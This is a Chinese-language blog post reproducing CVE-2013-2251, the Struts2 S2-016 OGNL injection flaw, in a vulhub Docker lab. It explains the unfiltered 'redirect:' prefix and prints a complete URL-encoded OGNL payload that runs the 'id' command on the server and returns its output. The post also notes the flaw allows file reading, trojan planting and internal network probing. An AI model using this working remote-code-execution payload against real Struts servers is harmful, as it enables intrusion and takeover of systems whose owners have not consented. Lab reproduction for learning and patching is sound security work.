CVE-2013-2251
影响范围:
Struts 2.0.0 - 2.3.15
漏洞类型:
OGNL表达式注入
操作系统限制:
无
配置要求:
默认配置
漏洞利用:
执行命令,可以执行各种敏感操作,例如任意文件读取,植入木马,内网探测
利用原理:
在Struts2中,DefaultActionMapper类支持以"action:"、"redirect:"、"redirectAction"作为导航或重定向过滤,在这些前缀后面可以加入OGNL表达式,Struts2没有对这些前缀做过滤,可以利用OGNL表达式调用Java静态方法执行任意系统命令
漏洞复现:
用现成的vulhub来拉取镜像
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/struts2/s2-016
#拉取镜像
docker-compose up -d
访问http://公网:8080,出现Hello world即搭建成功

用burpsuite抓取http://公网:8080/index.action数据包

发送到Repeater模块

在action后添加payload,括号已经经过url编码
?redirect:%24%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B'id'%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3D(new%20java.io.InputStreamReader(%23b))%2C%23d%3D(new%20java.io.BufferedReader(%23c))%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse')%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D
发送后页面出现id结果

本文链接:
/archives/cve-2013-2251
版权声明:
本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自
Johan的秘密小窝!
喜欢就支持一下吧